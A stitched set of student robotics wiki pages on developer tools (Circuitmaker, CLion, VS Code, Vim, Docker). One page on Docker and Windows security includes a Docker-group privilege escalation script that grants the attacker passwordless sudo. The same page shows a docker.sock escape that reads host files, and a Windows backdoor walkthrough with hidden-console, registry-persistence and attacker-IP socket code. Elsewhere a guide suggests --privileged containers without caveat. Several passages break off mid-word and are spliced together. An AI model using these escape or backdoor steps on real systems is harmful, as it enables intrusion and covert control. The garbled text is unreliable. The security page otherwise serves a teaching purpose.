The autorouter appears somewhat smarter - - Partially due to the easier UI, it also feels like it takes it less time and effort to find a good path. You can make multiple profiles of routing schemes and widths, and choose to route only one net at a time. However, by putting in multiple width rules that each cover a single net, you can autoroute every net at once at the correct width. - - ![Rule Menu](/assets/images/tools/AltiumCircuitmaker-4b425.png) -5. Collaborative cloud based development method -6. Outputs include an excel BOM -7. No trial version; all functionality provided for free in the open beta. - -### Drawbacks -1. No preloaded set of common drill sizes - - ![Hole Menu](/assets/images/tools/AltiumCircuitmaker-f5782.png) -2. No board outline by default -3. Poor default wiring options -4. Copper Pours are not intelligent - - ![Pour Plane Cutout](/assets/images/tools/AltiumCircuitmaker-e83b9.png) -5. Some UI still obviously in need of tweaking - - ![Library Side Menu](/assets/images/tools/AltiumCircuitmaker-1caa4.png) - -### Summary -In many ways, Circuitmaker is an improvement over EagleCAD. As an *open beta*, there are occasional stability issues as well as very long periods where it stops to work through an instruction. It's far enough along that the instability issues are a minor nuisance and do not appear to affect better computers. As for the freezes, Circuitmaker is a bit slow to start and to close, to load menus, and there are peak usage periods where it's slow to fetch new part information from the cloud. Otherwise it runs quite well. For projects, it could save a lot of time. In Eagle, the teams all make and remake the same parts, and often do much the same kind of thing throughout their project if they rely on PCBs. With Circuitmaker, all the parts fetch from Octop - -/wiki/tools/clion/ ---- -date: 2020-02-03 -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. You should set the article's title: -title: CLion IDE -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - -[CLion](https://www.jetbrains.com/clion/) (pronounced "sea lion") is a cross-plateform IDE for C and C++ framework developed by JetBrains. - -An integrated development environment (**IDE**) is a software application that provides comprehensive facilities to computer programmers for software development. It includes various functionality that enhances the productivity of the developer significantly. IDE has a learning curve associated with it along with necessary setup time. In long term, it's no brainer that IDE saves a lot of time and effort in writing, debugging and maintaining software stack. - - -If you are already comfortable using other IDE (not text-editor) than switching to CLion may not a worth while time investment. However if you have never used an IDE then CLion has a potential to make your life 10 times better. To give an example, developer spends hours debugging trivially simple mistakes. Without IDE the debugging task envelopes adding and removing printf/std::cout statements which is tiresome. A debugger functionality in IDE allows you to pause the code at any moment and view all the local, global variables and their values in a GUI form factor. This is one of many ways of how IDE makes developers life more productive. - -## Installation - -CLion is [available](https://www.jetbrains.com/clion/download/#section=linux) for the following Operating Systems. - -- Windows -- macOS -- Linux - -While CLion is not free software, students can get a free license to use the same. Use your school email id to create a Jetbrains account. - -> Since most of the programming is done on ROS on the Linux platform, this article will focus on CLion on the Linux platform. Most of the discussion is invariant of the operating system. - -## Running - -For Linux, run `./clion.sh` in the terminal inside the bin folder of the extracted package. For ease of use, you can add the path of the bin folder in the `.bashrc` to open CLion from any directory. -> Also, make sure that `source catkin_ws/devel/setup.bash` is added in the `~/.bashrc` so that CLion can link the required ROS packages - -## Features - -Like any other IDE, CLion has countless features. These can also be extended by installing plug-ins. Some of the advance key features are explained in this article. However, it's important to note that these features do not form an exhaustive list. - -#### Debugging - -![CLion Debugging 1](/assets/images/tools/debug1.jpeg) - -After opening the project folder in CLion, right-click on the `CMakeLists.txt` and choose Reload CMake Project. The various executable target added in the CMake file will be available in the drop-down menu at the top right as shown in the above image. - -![CLion Debug 2](/assets/images/tools/debug2.jpeg) - -Add the breakpoint in the code where you want to pause the code and press the debug button as shown in the image. - -![CLion Debug 3](/assets/images/tools/debug3.jpeg) - -CLion will pause the execution at the breakpoint. You can view all the global, local variables and their values in the variable inspector. It also provides the functionality to run the code line by line by using various step in, step over, step out function. You can also press the resume button to continue execution till the next break-point. You can add new breakpoints even when code is paused at a breakpoint. - -#### Re-factor Code - -Refactoring is one of the most powerful tools in the CLion. Simplest re-factor operation is renaming a variable. - -![Refactor 1](/assets/images/tools/refactor1.png) - - -`right-click -> Refactor -> Rename` - - - -`right-click -> Refactor -> Extract -> Method` - -![Refactor 2](/assets/images/tools/refactor2.jpeg) - - -#### Entity Linking - -Entity linking is very useful in efficiently navigating code-base in CLion. The press the `Ctrl` button on the keyboard and then click on any entity in the code. CLion will figure out the origin of that entity and will take you to that entity. - - -- Class: CLion will take you to the definition of that class/struct. - -Entity linking works to the imported library as well. If you have imported some C++ library and want to check the source code inside the library, just use entity linking. It will open the source code of the library if it's available. For example, in the below image, definition of `std::vector::push_back()` is opened using entity linking of CLion. - -![Refactor 3](/assets/images/tools/refactor3.png) - -#### Context-Aware Search - -Given a function or a variable, all its usage inside the code can also be searched by simply: - - `right-click -> Find Usages` - -![Refactor 4](/assets/images/tools/refactor4.png) - -Above image shows the various usages CLion found of the private variable `costMap` inside the repository. - -## Summary - -One of the important part of transitioning to professional life is using tools that increases productivity specifically for large complicated projects. IDE is one such tool which may be overkill for a school assignment but is essential and rewarding for tackling future challenges. - -## See Also: - -- [Pycharm IDE for Python](https://www.jetbrains.com/pycharm/) -- [VIM](https://roboticsknowledgebase.com/wiki/tools/vim/) -- [Sublime-Text](https://www.sublimetext.com/) -- [Sublime-Merge](https://www.sublimemerge.com/) - -## References - -- [CLion official website](https://www.jetbrains.com/clion/) -- [CLion Documentation](https://www.jetbrains.com/help/clion/clion-quick-start-guide.html) -- [CLion Quick Tour](https://www.youtube.com/watch?v=Srnw1dI1iAA) - - -/wiki/tools/code-editors-introduction-to-vs-code-and-vim/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2020-12-06 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Code Editors - Introduction to VS Code and Vim -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -This article will provide you with some basic features for both VS Code and Vim, and perhaps it helps you decide which to start with! - -## Prelude: Why code editors? - -For a few scripts, like CMU some homework, it is very easy to manage the codebase. However, say it’s a python project that imports multiple modules from many places. To figure out the data inside different classes, you’d need a way to jump to definitions of the modules. Say it’s a c++ project, you’d want to know the origin of a variable. Or in development, want to change the na -## Outline -* Introduction -* VS Code - * Install VS Code - * Setup - * Features - * Plugins -* Vim - * Installation - * Vim Basics - * Popular Plugins - -### Introduction -Many code editors exist out there. Know the difference between the code editor and IDE (Integrated Dev Env): IDE lets you compile code and dig into runtime debugging. A code editor, on the other hand, sets up text editor functionalities that are cross accessible across all languages. Spyder and PyCharm are famous IDEs for Python. CLion and Eclipse are popular for C++ IDE. But this blog isn’t about IDE. So, popular code editors: VS Code, Vim, Sublime Text, Atom, (gedit, nano, emacs ← terminal editors). - -In this, we concentrate on the VS Code and Vim. Why these two? One is a GUI based editor, the other a terminal editor. - -Why VS Code? Super-versatile compared to its competitors. Lightweight too. Sublime text is lightweight but plugin functionality is comparatively lower. Atom has good plugins but slow/heavy. What is slow/fast/lightweight? How fast the editor opens up, sets up access to files, finds keywords across directories, installs and maintains plugins, hogs how much memory/RAM? Plus VS Code is maintained by Microsoft and is free (Wow, an MS product that’s free. That’s a first). The devs are VS Code knows the programmer in and out. The plugin functionality is insane. - -Now, let’s dig into VS Code and Vim separately and whoever is reading this could then choose the one you like better as your code editor! - -### VS Code -Standard VS Code comes built with these standard features. This article deals with setup and introducing how to use some of these features. - -#### Install VS Code (assuming Linux - obviously) -A link for [downloading](https://code.visualstudio.com/download). -1. Download the deb file -2. `$ sudo apt-get install ./path/to/file/deb_file_name` - -#### Setup -1. To set up any project [python or C++], ensure all project files can be seen in the current workspace. -2. Open VS Code (can use the Linux search/windows button). Source folders into the workspace. -3. The top left tab gives you file explorer. Click it! - -![File Explorer](/assets/images/tools/vscode4.png) - -#### Features -1. **Keyword search**: Right-click inside the file explorer space. Check out “Find in Folder..” and try searching for a keyword and you’d see lightning fast multi-file search (or) click on the search button below the explorer and use the find and replace options. - -![Keyword Search](/assets/images/tools/vscode11.png) - -2. **Seek definition**: Open any file and right-click to peek at the definition of functions. Why is this useful? Reading code implies trying to figure out what each function is doing. Super useful in projects. Works for variables, classes, functions. You name it. VS-code can define it. - -![Seek Definition](/assets/images/tools/vscode5.png) - -3. **Open the file by name**: Ctrl+P, and type file name. -4. **Shortcuts**: I use sublime shortcuts on VS Code. That’s the cool thing. You can configure it to work for your style. How to configure? You can install a sublime text key-bindings plugin. More on plugins later. But this specific one is called: ms-vscode.sublime-keybindings. - * Ctrl+shift+k → delete line - * Ctrl+shift+d → copy line - * Ctrl+shift+up/down → move line - * Ctrl+shift+left/right → word select withhold - * Ctrl+d → select next occurrence of the same word in the current file - * Alt + 1/2/3/ → choose tab - * Split-screen → alt+shift+2 - * Ctrl + \ → comment/uncomment -Add all custom shortcuts in preferences, keyboard shortcuts. Do ctrl+shift+P and type keyboard shortcuts. Add whatever you need. - -5. **Integrated terminal**: Click on terminal and open a new terminal. - -![Open terminal](/assets/images/tools/vscode2.png) - -Now you can run programs without rotating between terminal and editor. Reduces a lot of strain on the eyes. You can also create multiple screens in the terminal. - -6. **Python debugger**: You can put breakpoints and run python programs and look into the state of the program for faster debugging. Click next to the line number and that should drop a BP. Now start debugging. Choose whichever option makes sense (for trials go for current file). - -![Python Breakpoint - 1](/assets/images/tools/vscode10.png) -![Python Breakpoint - 2](/assets/images/tools/vscode8.png) -![Python Breakpoint - 3](/assets/images/tools/vscode3.png) - -You can step through the lines or move to the next BP or let the program run till the end. - -Drawback: Image data cannot be displayed. Spyder offers that option. You cannot change variables and call functions to see the functionality. This is not a substitute for ipdb.set_trace(). This shows you program variables and memory. - -7. **Language support**: What we MRSD people use? It supports all of it. Python, C++, Markdown, JSON, YAML, XML, CMake. How to change? Click on python/whatever there is. - -![Language Support](/assets/images/tools/vscode6.png) - -Random thoughts: Spaces to tabs, the right-hand small screen helps find easy chunks of code, terminal focus shortcuts, file explorer shows modified files, tracked/untracked files, squiggles show if invalid syntax, auto-complete, function argument list displays. - -#### Plugins -1. **Git graph**: -I think git support is auto existing on baseline VS Code but this just ups it. Why good? - -![tracking/modification status](/assets/images/tools/vscode9.png) - -When you do a git rebase/merge, conflicts show up in nice blocks which you can just choose. No more million backspaces to remove code. - -![git rebase/merge](/assets/images/tools/vscode12.png) - -If you use it with the integrated terminal, you can just choose a file from the terminal output, choose a block of code to stay, and continue rebasing. - -![The graph: click on the git graph button on the bottom toolbar and voila](/assets/images/tools/vscode13.png) - -2. **Python**: -This covers all the python debugging tools + module search functionality. - -3. **Remote-SSH**: -Important for remote robot login and changing code. Why? I interned during COVID with a company in Boston while I was in Pittsburgh. I had to ssh over VPN into their robot to change code, compile, and test. How can I seek function when I’m on a terminal? This plugin is the answer. Install, -Connect to ssh via this, open required folders in VS Code. - -What’s nice? It’s fast. No SSH lag. Why? I think it makes local changes and updates them all when you save. So that’s really fast. SSH over terminal was quite slow. - -4. **C/C++ [Intellisense]**: -The beast. This is the ultimate C++ engine that any C++ programmer should get. What does it offer? Auto-completion, datatype checking, c++ compiler rules are checked on the fly as you type. If there’s a data type mismatch, it’ll shout at you. If there’s a semi-colon missing, it’ll squiggle away. If there’s an extra bracket :whistle_away: Peek/seek definition, declaration of objects/functions/namespaces. - -### Vim - -We will focus on the installation, the basic commands in Vim which allow you to navigate around and edit the code like a pro, as well as some popular open-source extension plugins and how they could make your life much easier than you could have ever imagined. - -#### Installation - -Vim (Vi IMproved) is a text editor that is upwards compatible with Vi. While Vi is installed by default in macOS/OS X & Ubuntu, we need one extra step to install Vim. -``` -$sudo apt-get install vim -``` -That’s it! -To open any file with Vim, simply `vim file.txt` and let’s code. - -#### Vim Basics -Before we start, let me give you some high-level guidelines when it comes to Vim. Vim is a modal editor. Now, you might not know what “modal” even means, but you shall get some idea that Vim doesn’t act like a normal editor, say Google doc or Gedit. You don’t just type characters and press the backspace or delete to remove words from the document. What are “modal” editors then? How could they benefit our lives? - -I admit the learning curve for Vim is slightly higher than normal editors, but once you learn about it, I guarantee you would stick to it forever. Before jumping into the features, I shall introduce you to the 5 modes in Vim: Normal, Insert, Visual, Command, and Replace. Please don’t be intimidated just yet. To get started, all you have to know is really the Normal mode and the Insert mode. Others are left as some advanced usage which readers can explore once they get the taste of Vim. - -1. **Normal Mode** a.k.a. Where one would spend most of their time when using Vim. Have you ever tried to edit a word at the beginning of a line and to move the cursor to the very front, you had to press and hold the left arrow key fsome corners of the keyboard so far that you don’t even know where they are! In fact, how many of you know where those two keys are in a Macbook? Vim offers these common navigations in the Normal mode with keys easily accessible. Use Vim. - - * **Manipulating the text**: What do you do when you want to delete a line? I bet you first move your cursor to the end of the line by holding on the right arrow key for 15 seconds, and then you press on the backspace key for another 20 seconds to delete the whole sentence. Vim is here to save your time. - * `dd` to delete the whole line, `dw` to delete a word forward, and `db` to delete a word backward. Basically, you could combine `d` with every navigation commands that we mentioned earlier. Once you get used to it, you can really save yourself lots of time when editing texts. One should be able to observe the number of keys you have to press to get a specific task done. - - * **Repeating Actions**: For the abovementioned examples, you can always put some numbers before the command itself to indicate how many times you would like the operation to happen. For example, if you want to delete 3 lines, you can type `3dd`. If you want to yank 5 words starting from the current position, you can `5yw` and move to the target position then `p`. You can also navigate to the target position/line using this logic. To illustrate, `8l` to move the cursor 8 characters right and `4j` to go down 4 rows. - -2. **Insert Mode**: This is the second most used mode and will be the most familiar behavior to most people. Once in insert mode, typing inserts characters just like a regular text editor. To enter Insert mode from Normal mode, we can either type in `i`, `a` or `o`. - * `i` lets you insert characters before the current cursor. - * `a` lets you append characters after the current cursor. - * `o` inserts a new line and enters insert mode directly. -Beginners tend to rely on Insert mode too often because it acts just like the normal editors. However, if you do not appreciate the beauty of Normal mode, you are really missing out here. We should only enter Insert mode when this is our last option since if a job can be done in Normal mode, it is often much more efficient than typing or editing character by character in Insert mode. - -#### Popular Plugins - -Now, let me introduce you to some popular plugins that can be easily installed by inserting some lines in your `~/.vimrc` file. Almost all of them are maintained by some Github repositories, and the installation tutorials would be on their `README` page obviously. Just follow the steps and enjoy! - -1. [NERDTree](https://github.com/scrooloose/nerdtree) - A popular plugin to display an interactive file tree view in a side panel, which can be useful when working on a larger project. -2. [CtrlP](https://github.com/ctrlpvim/ctrlp.vim) - A Full path fuzzy file, buffer, MRU, tag, ... finder for Vim. In fact, the shortcut for VS Code to open a file is a copy from this Vim Plugin. -3. [Syntastic](https://github.com/vim-syntastic/syntastic) - A syntax checking plugin for Vim. Basically, the basic features that you would expect a normal IDE would have. People criticize editors like Vim to not have this kind of feature when all you need to do is really to install an additional plugin. -4. [ACK](https://github.com/mileszs/ack.vim/tree/master) - allows searching with ack from within Vim and shows the results in a split window. -5. [Fugitive](https://github.com/tpope/vim-fugitive) - Fugitive is the premier Vim plugin for Git. Or maybe it's the premier Git plugin for Vim? Either way, it's "so awesome, it should be illegal". That's why it's called Fugitive. - -Just to name a few. The list is still super long. Vim plugins are powerful. However, one might not know how they could help your life if we just blindly install it. I suggest that beginners start by familiarizing themselves w -## Summary -There of course is not a single best code editor that one should use. People have different preferences and situations. In fact, the debate about which code editor is the best has been around for decades. People still strive to speak for their favorite editors while once a person is stuck with an editor, it is often really hard for them to make up their mind to change. However, VS Code and Vim are certainly two of the most used code editors nowadays. I hope the above context could help you decide the one you would like to try it out. Good luck coding! - -## See Also: -- Vim Text Editor: - -## Further Reading -- [Transitioning from VS Code to Vim](https://medium.com/@kalebzeray/transitioning-from-vscode-to-vim-dc3b23e35c58) -- [Why I switched to Vim from Visual Studio Code](https://freshman.tech/from-vscode-to-vim/) - -## References -- Learn vim For the Last Time: A Tutorial and Primer, -- Vim Editor Modes Explained, - - -/wiki/tools/docker-for-pytorch/ ---- -date: 2022-12-05 -title: Docker for Pytorch ---- -In this article we will go over the following: - 1. Creating a custom docker image for deep learning workflows - 2. Docker run command for starting the container - -## Docker Image for PyTorch based workflows -This article is going to be about how to set up a docker container for PyTorch training environment. Setting up docker for deep learning workflows is useful because configuring a GPU and installing all the ner image for complex workflows also allows us to experiment without worrying about breaking the system. If anything goes wrong, it is contained within the docker container and you can delete the container and create a new one. Hence having your workflow inside docker can be very useful. - -## 1. Docker Image Setup -When a docker container is created it starts a new instance of an OS from scratch. The basic CPU drivers are pre-configured but the container does not have access to the GPUs of the system. Luckily for Nvidia GPUs we -But before we go ahead, make sure that you have NVIDIA GPU drivers installed. You can check if the drivers are installed by running the following command. If this fails, it means that the drivers are not installed and you first have to do that before proceeding ahead. - -```properties -nvidia-smi -``` - -For running the NVIDIA Container Toolkit, we can simply pull the NVIDIA Container Toolkit image at the top of our Dockerfile like so, - -```Dockerfile -FROM nvidia/cuda:10.2-base -``` - - -This is all the code we need to expose GPU drivers to Docker. In that Dockerfile we have imported the NVIDIA Container Toolkit image for 10.2 drivers. You should check your Nvidia driver versions and pull the appropriate image. The above command will only get us nvidia-smi. For deep learning tasks we also need cuDNN, for which we should pull the following image: - -```Dockerfile -FROM nvidia/cuda:11.3.0-cudnn8-devel-ubuntu20.04 -``` - -For a list of all the available NVIDIA Container Toolkit images check the following webpage. You can choose from various Ubuntu versions depending on your Nvidia CUDA driver version[1]. The selected version is [2]. - -Using this Nvidia base image now we can create our own docker image and configure it to have all the packages pre installed. - -Create a new folder -```properties -mkdir nvidia_docker -cd nvidia_docker -``` -Paste the following lines in a text file inside the folder: - -```properties -FROM nvidia/cuda:11.3.0-cudnn8-devel-ubuntu20.04 - -RUN apt-get update -RUN apt-get install -y wget && rm -rf /var/lib/apt/lists/* - -RUN wget \ - https://repo.anaconda.com/archive/Anaconda3-2021.11-Linux-x86_64.sh \ - && bash Anaconda3-2021.11-Linux-x86_64.sh -b \ - && rm -f Anaconda3-2021.11-Linux-x86_64.sh - -ENV PATH=/root/anaconda3/bin:${PATH} - -RUN conda install \ - pytorch torchvision torchaudio cudatoolkit=11.3 -c pytorch \ - && conda install -c conda-forge tensorboard \ - && conda install -c anaconda scikit-learn -``` - -This is the dockerfile for our custom Deep Learning Training image. Explanation of the dockerfile: - -The first line pulls the Nvidia base image on top of which we build our image. -```properties -FROM nvidia/cuda:11.3.0-cudnn8-devel-ubuntu20.04 -``` - -Following lines install wget package. -```properties -RUN apt-get update -RUN apt-get install -y wget && rm -rf /var/lib/apt/lists/* -``` - age. Following lines download the Conda installer bash script from the website, run the bash script and delete it after completion. The URL in the command is for the latest version at the time of writing this article. Please change it to the current version when you install. - -```properties -RUN wget \ - https://repo.anaconda.com/archive/Anaconda3-2021.11-Linux-x86_64.sh \ - && bash Anaconda3-2021.11-Linux-x86_64.sh -b \ - && rm -f Anaconda3-2021.11-Linux-x86_64.sh -``` - -We want our docker container to activate the Conda environment at creation. The following line adds the path to Conda installation to the environment variable PATH. -```properties -ENV PATH=/root/anaconda3/bin:${PATH} -``` - -The following lines will install all the necessary packages for our DL workflow such as PyTorch, Torchvision, cudatoolkit, Tensorboard and scikit-learn. Change the version number for the cudatoolkit based on your specs. Feel free to add the lines to any other software that you like. -```properties -RUN conda install \ - pytorch torchvision torchaudio cudatoolkit=11.3 -c pytorch \ - && conda install -c conda-forge tensorboard \ - && conda install -c anaconda scikit-learn -``` - -Now we can build the image using the dockerfile we created above with the following command. This will create our custom DL docker image called nvidia-test. -```properties -sudo docker build . -t nvidia-test -``` - -## 2. Running the container - -The command to create a container instance from the image is as follows: - -```properties -sudo docker run -it --privileged --shm-size 8G --net=host --name test -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v /home/user/docker_share/:/home/docker_share --gpus all nvidia-test bash -``` - -Breakdown of the command: - -**-it**: This flag creates an interactive instance of the container - -**--privileged:** This flag gives permission to the docker container access over all the I/O ports of the host computer. - -**--net=host:** This flag sets the docker container to share the same IP address as the host computer. - -**-shm-size 8G:** This flag sets the shared memory between the host computer and the docker container as 8GB. This flag is important because by default the shared memory between docker container and host computer is very less and during DL training this creates low memory issues. Hence set it to 8GB or more. - -**--name test:** This flag gives a name to the container. Change according to your needs. - - -**-v /home/user/docker_share/:/home/docker_share:** This flag is used to mto easily transfer files and save our work from inside the docker container. Change the paths according to your needs. - -**--gpus all:** This is the most important flag of all. This gives the container access to the GPUs. - -## Summary -With this we come to the end of our article. If you were able to successfully follow the above commands and were able to run the container, you now have a docker environment for training your PyTorch model. Hope this makes your life easier. - -## See Also -- Docker https://roboticsknowledgebase.com/wiki/tools/docker/ -- Setup GPU https://roboticsknowledgebase.com/wiki/computing/setup-gpus-for-computer-vision/ -- Python construct https://roboticsknowledgebase.com/wiki/programming/python-construct/ - -## Further Reading -- PyTorch https://catalog.ngc.nvidia.com/orgs/nvidia/containers/pytorch -- Setting Up TensorFlow And PyTorch Using GPU On Docker https://wandb.ai/wandb_fc/tips/reports/Setting-Up-TensorFlow-And-PyTorch-Using-GPU-On-Docker--VmlldzoxNjU5Mzky -- Develop like a Pro with NVIDIA + Docker + VS Code + PyTorch https://blog.roboflow.com/nvidia-docker-vscode-pytorch/ - -## References -- CUDA Driver versions https://gitlab.com/nvidia/container-images/cuda/blob/master/doc/supported-tags.md -- Selected version https://repo.anaconda.com/archive/Anaconda3-2021.11-Linux-x86_64.sh - - -/wiki/tools/docker-security/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2023-05-07 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Docker and Windows Security -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - -However, using Docker also poses some security concerns. Since containers share the same host operating system, an attacker who gains access to a container can potentially access other containers running on the same host. Additionally, if Docker images are not properly secured or updated, they can become vulnerable to exploits and attacks. Therefore, it's important to follow best practices for securing Docker, such as using only trusted images, isolating containers, and regularly updating images and containers to ensure that they are running with the latest security patches. - -Given that many MRSD teams are utilizing Docker for their projects, it is important to be mindful of the potential security concerns that come with its usage. - -# Docker Breakout -Assuming that today a server uses Docker to deploy containers for its website and database, if the website is vulnerable and gets hacked, the engineer can quickly switch to a new version using Docker for immediate maintenance and patching. Howeveacker is inside one of the Docker containers on that host machine, and their goal is to escape the container, infiltrate the host machine, steal passwords, and tamper with grades. - ---- - -## Container Techniques - -- There are six important technologies utilized in containers, two of which are more relevant to this experiment's demo. - - Namespaces - - Cgroups - - Seccomp - - Capabilities - - LSM - - OverlayFS - -### Namespaces - -One of the key benefits of containers is that they allow for the creation -> A namespace wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource. Changes to the global resource are visible to other processes that are members of the namespace, but are invisible to other processes. One use of namespaces is to implement containers. - -The term "resource" here refers to things like mount points or PID - - -Cgroups control the memory capacity and CPU resources that processes can use through cgroupfs, preventing a bug in a process from causing the entire computer to crash. Docker can use the --cpu-shares flag to limit the CPU resources that each container can use. - ---- - -## Privileged Escalation - -```bash -sudo apt-get install docker.io -sudo usermod -aG docker evil -su evil - -# Should fail -su deluser victim -sudo cat /etc/sudoers - -cd -mkdir privesc -nano Dockerfile - -FROM debian:wheezy -ENV WORKDIR /privesc -RUN mkdir -p $WORKDIR -WORKDIR $WORKDIR - -docker build -t privesc . # Inside current directory -docker run -v /:/privesc -it privesc /bin/bash - -#Inside container -echo "evil ALL=(ALL) NOPASSWD: ALL" >> /privesc/etc/sudoers -cat /privesc/etc/sudoers -whoami # Success!! - -``` - ---- - -## Mitigation of Privilege Escalation - -![images/privesc.png](/assets/images/tools/privesc.png) - -## Exposed Docker Socket - -If docker.sock is mounted from the host into a container, we can use docker.sock to escape the container. Since docker.sock has the docker group, it can execute many docker commands without root privileges. We can use this privilege to execute some programs that cannot be executed without this socket. - -### Docker socket - -The Docker socket is a type of UNIX socket used by the Docker CLI to execute Docker commands with root privileges. docker.sock is not originally present inside the container, but users inside the container may need to mount it to manage or create other containers. However, mounting docker.sock inside the container increases the attack surface and poses a security risk. - -![images/docker_socket.png](/assets/images/tools/docker_socket.png) - -Next, we will go through the steps of the demo experiment: - -### Victim - -Before conducting the attack, the attack environment must be set up. Set up a Docker container named "sock" that contains the Docker socket inside it. - -```bash -docker run -itd --name sock -v /var/run/docker.sock:/var/run/docker.sock alpine:latest -``` - -### Intruder - -To check if docker.sock is present inside the container, you can usually find it at the path /var/run/docker.sock. - -```bash -find / -name docker.sock -``` - -Assuming you have confirmed the existence of docker.sock in the "sock" container, you can proceed to access the shell of the "sock" container. You can use the docker exec command to do this. Here's an example command: - -```bash -docker exec -it sock sh -``` - -This command will start a shell session (sh) inside the "sock" container with an interactive terminal (-it) attached. - -Inside the sock container, set up a new container and mount the host's root path / directly into the /test directory of the new container. Then, open a new shell inside the new container. - -```bash -docker -H unix:///var/run/docker.sock run -it -v /:/test:ro -t alpine sh -``` - -The test folder will now appear, containing the root path of the host. At this point, an attacker can access all files and confidential information on the host through the new container. - -```bash -cd /test && cat /etc/passwd -``` - -```bash -dockerd --userns-remap="evil:evil" # This limits the capabilities of evil user -``` - -## Reference - -1. [https://www.netsparker.com/blog/web-security/privilege-escalation/](https://www.netsparker.com/blog/web-security/privilege-escalation/) -2. [https://docs.docker.com/engine/security/userns-remap/](https://docs.docker.com/engine/security/userns-remap/) -3. [https://www.youtube.com/watch?v=MnUtHSpcdLQ](https://www.youtube.com/watch?v=MnUtHSpcdLQ) -4. [https://flast101.github.io/docker-privesc/](https://flast101.github.io/docker-privesc/) -5. [https://operatingsystemsatntu.github.io/OS-21-Spring-at-NTU/mp0.html](https://operatingsystemsatntu.github.io/OS-21-Spring-at-NTU/mp0.html) -6. [https://javascript.plainenglish.io/top-reasons-why-docker-is-popular-31cc6056e82a](https://javascript.plainenglish.io/top-reasons-why-docker-is-popular-31cc6056e82a) -7. [https://www.datadoghq.com/container-report/](https://www.datadoghq.com/container-report/) - -# Windows Backdoor - -This is actually a very classic type of malware. Its ultimate goal is to execute on the client side and obtain the desired results, while being able to obtain this information on the server side. - -The process is roughly as follows: - -1. Set up a server to listen for incoming connections on a specific port. -2. Lure the victim into running a backdoor program. -3. The backdoor establishes a connection between the client and server. -4. The server transmits commands to the client. -5. The client executes the commands that we want. -6. The results are obtained on the server side. - - -To successfully deploy a backdoor, the following four basic concepts are necessary: - -- Phishing: luring the user to execute our backdoor, such as disguising it as other trusted programs or providing attractive content. -- Persistence: how to maintain the backdoor running normally on the client side for a long time. -- Privilege escalation: actively attempting to gain administrator privileges on Windows or persuading the victim to grant them. -- Evasion: making the victim unaware of the existence of the backdoor and attempting to evade antivirus software or firewalls. - -## Phishing - -For this type of backdoor program, the most critical step may be to lure the victim into willingly taking the bait. In the demo, I used the classic trick of disguising the backdoor as a different type of file. Using the well-known self-extracting archive feature of WINRAR makes this step easy to accomplish. - -In reality, it would be better to forge or inject the backdoor into a trusted application from various angles, but I am not currently able to do so. - -## Connection - -To deploy the backdoor, an idle port is selected and the IP and port obtained in advance are embedded in the client-side code. This allows the creation of sockets at both the client and server ends to establish a two-way data transfer. However, passing through the victim's firewall is unavoidable. In this demo, it can only rely on the victim's firewall settings being relatively lax to allow connections on the desired port. - -## Backdoor Execution - -We create a hidden console, although it is still visible in the task manager. - -```cpp -AllocConsole(); -stealth = FindWindowA("ConsoleWindowClass", NULL); -ShowWindow(stealth, 0); -``` - -## Pervasiveness - -Registry HEKY should be logged in the corresponding directory to achieve automatic startup when the computer is turned on. In Windows 7, this directory is located at - -```cpp -Software\Microsoft\Windows\CurrentVersion\Run -``` - -This is the way for accessing in Windows - -```cpp -TCHAR s2Path[MAX_PATH]; -DWORD pathLen = 0; -pathLen = GetModuleFileName(NULL, s2Path, MAX_PATH); -HKEY NewVal; -RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run") -RegSetValueEx(NewVal, TEXT("Backdoor"), 0, REG_SZ, (LPBYTE)s2Path, pathLenInBytes) -``` - -## Eavesdropping - -Establish Socket Communication - -```cpp -sock = socket(AF_INET, SOCK_STREAM, 0); -if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) < 0) { - printf("Error Setting TCP Socket options!\n"); - return 1; -} -server_address.sin_family = AF_INET; -server_address.sin_addr.s_addr = inet_addr("192.168.56.99"); //kali ip -server_address.sin_port = htons(50008); //port -``` - -## Reference - -1. [https://dangerlover9403.pixnet.net/blog/post/212391408-[教學]c++-socket資料整理](https://dangerlover9403.pixnet.net/blog/post/212391408-%5B%E6%95%99%E5%AD%B8%5Dc++-socket%E8%B3%87%E6%96%99%E6%95%B4%E7%90%86) -2. [https://www.youtube.com/watch?v=6Dc8i1NQhCM&t=4973s](https://www.youtube.com/watch?v=6Dc8i1NQhCM&t=4973s) -3. [https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-functions](https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-functions) - - -/wiki/tools/docker/ ---- -date: 2021-04-07 -title: Docker ---- - -Docker is a platform for developers and sysadmins to develop, deploy, and run applications with containers. The use of Linux containers to deploy applications is called containerization. Containers are not new, but their use for easily deploying applications is. - -Containerization is increasingly popular because containers are: - - - Flexible: Even the most complex applications can be containerized. - - Lightweight: Containers leverage and share the host kernel. - - Interchangeable: You can deploy updates and upgrades on-the-fly. - - Portable: You can build locally, deploy to the cloud, and run anywhere. - - Scalable: You can increase and automatically distribute container replicas. - - Stackable: You can stack services vertically and on-the-fly - -## Install Docker on Ubuntu 16.04: - -Now let us download Docker into a Ubuntu Xenial (16.04). Firstly, let's get started with updating previous repositories - -```sh -$ sudo apt-get update -``` - -In order to ensure the downloads are valid, add the GPG key for the official Docker repository to your system: - -```sh -$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - -``` -$ sudo apt-get update -``` - -Make sure you are about to install from the Docker repo instead of the default Ubuntu 16.04 repo: - -```sh -$ apt-cache policy docker-ce -``` - -Finally, install the Docker - -```sh -$ sudo apt-get install -y docker-ce -``` - -Docker should now be installed, the daemon started, and the process enabled to start on boot. 